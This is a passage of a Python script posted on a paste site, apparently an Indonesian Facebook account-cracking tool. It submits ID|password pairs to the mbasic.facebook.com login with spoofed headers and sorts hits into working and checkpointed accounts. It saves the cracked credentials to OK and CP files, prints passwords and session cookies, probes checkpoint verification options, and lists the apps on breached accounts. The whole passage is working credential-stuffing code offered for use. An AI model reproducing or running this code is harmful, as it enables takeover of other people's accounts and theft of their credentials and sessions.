  1192.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  1193.                     hit=0
  1194.                     for muncul in apkexp:
  1195.                         hit+=1
  1196.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  1197.                     print('\n')
  1198.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  1199.                     statusok1 = nel(statusok, style='green')
  1200.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  1201.                     ok+=1
  1202.                     break
  1203.             else:
  1204.                 continue
  1205.         except requests.exceptions.ConnectionError:
  1206.             time.sleep(31)
  1207.     loop+=1
  1208. #--------------------[ CHECK-OPSI-CHEKPOINT ]-------------------#
  1209. def ceker(idf,pw):
  1210.     global cp
  1211.     ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.128 Safari/537.36 FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.services;FBDV/EVR-L29;FBSV/10;FBLR/0;FBBK/1;FBCA/arm64-v8a:;]'
  1212.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1213.     ses = requests.Session()
  1214.     try:
  1215.         hi = ses.get('https://mbasic.facebook.com')
  1216.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  1217.         jo = ho.find('form')
  1218.         data = {}
  1219.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1220.         for anj in jo('input'):
  1221.             if anj.get('name') in lion:
  1222.                 data.update({anj.get('name'):anj.get('value')})
  1223.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  1224.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1225.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1226.         cp+=1
  1227.         opsi = kent.find_all('option')
  1228.         if len(opsi)==0:
  1229.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1230.         else:
  1231.             for opsii in opsi:
  1232.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1233.     except Exception as c:
  1234.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1235.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  1236.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1237.         cp+=1
  1238. #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
  1239. def cek_opsi():
  1240.     c = len(akun)
  1241.     hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
  1242.     cetak(nel(hu, title='CEK OPSI'))
  1243.     input(x+'['+h+'•'+x+'] Mulai')
  1244.     cek = '# PROSES CEK OPSI DIMULAI'
  1245.     sol().print(mark(cek, style='green'))
  1246.     love = 0
  1247.     for kes in akun:
  1248.         try:
  1249.             try:
  1250.                 id,pw = kes.split('|')[0],kes.split('|')[1]
  1251.             except IndexError:
  1252.                 time.sleep(2)
  1253.                 print('\r%s++++ %s ----> Error      %s'%(b,kes,x))
  1254.                 print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
  1255.                 continue
  1256.             bi = random.choice([u,k,kk,b,h,hh])
  1257.             print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
  1258.             ua = 'Mozilla/5.0 (Linux; Android 11; TECNO KD8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4755.101 Mobile Safari/537.36'
  1259.             ses = requests.Session()
  1260.             header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1261.             hi = ses.get('https://mbasic.facebook.com')
  1262.             ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
  1263.             if "checkpoint" in ses.cookies.get_dict().keys():
  1264.                 try:
  1265.                     jo = ho.find('form')
  1266.                     data = {}
  1267.                     lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1268.                     for anj in jo('input'):
  1269.                         if anj.get('name') in lion:
  1270.                             data.update({anj.get('name'):anj.get('value')})
  1271.                     kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
  1272.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1273.                     opsi = kent.find_all('option')
  1274.                     if len(opsi)==0:
  1275.                         print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1276.                     else:
  1277.                         for opsii in opsi:
  1278.                             print('\r%s---> %s%s'%(kk,opsii.text,x))
  1279.                 except:
  1280.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1281.                     print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
  1282.             elif "c_user" in ses.cookies.get_dict().keys():
  1283.                 print('\r%s++++ %s|%s ----> OK       %s'%(h,id,pw,x))
  1284.             else:
  1285.                 print('\r%s++++ %s|%s ----> SALAH       %s'%(x,id,pw,x))
  1286.             love+=1
  1287.         except requests.exceptions.ConnectionError:
  1288.             print('')
  1289.             li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
  1290.             sol().print(mark(li, style='red'))
  1291.             exit()
  1292.     dah = '# DONE'
  1293.     sol().print(mark(dah, style='green'))
  1294.     exit()
  1295. #----------------------[ CEK-APLIKASI ]---------------------#
  1296. def cek_apk(session,cookie):
  1297.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
  1298.     sop = BeautifulSoup(w,"html.parser")
  1299.     x = sop.find("form",method="post")
  1300.     game = [i.text for i in x.find_all("h3")]
  1301.     if len(game)==0:
  1302.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
  1303.     else:
  1304.         for i in range(len(game)):
  1305.             print("   %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
  1306.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
  1307.     sop = BeautifulSoup(w,"html.parser")
  1308.     x = sop.find("form",method="post")
  1309.     game = [i.text for i in x.find_all("h3")]
  1310.     if len(game)==0:
  1311.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
  1312.     else:
  1313.         for i in range(len(game)):
  1314.             print("   %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
  1315.  
  1316. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1317. if __name__=='__main__':
  1318.     try:os.system('git pull')
  1319.     except:pass
  1320.     try:os.mkdir('OK')
  1321.     except:pass
  1322.     try:os.mkdir('CP')
  1323.     except:pass
  1324.     try:os.mkdir('DUMP')
  1325.     except:pass
  1326.     try:os.system('touch .prox.txt')
  1327.     except:pass
  1328.     login()
  1329.  
Add Comment
Please, Sign In to add comment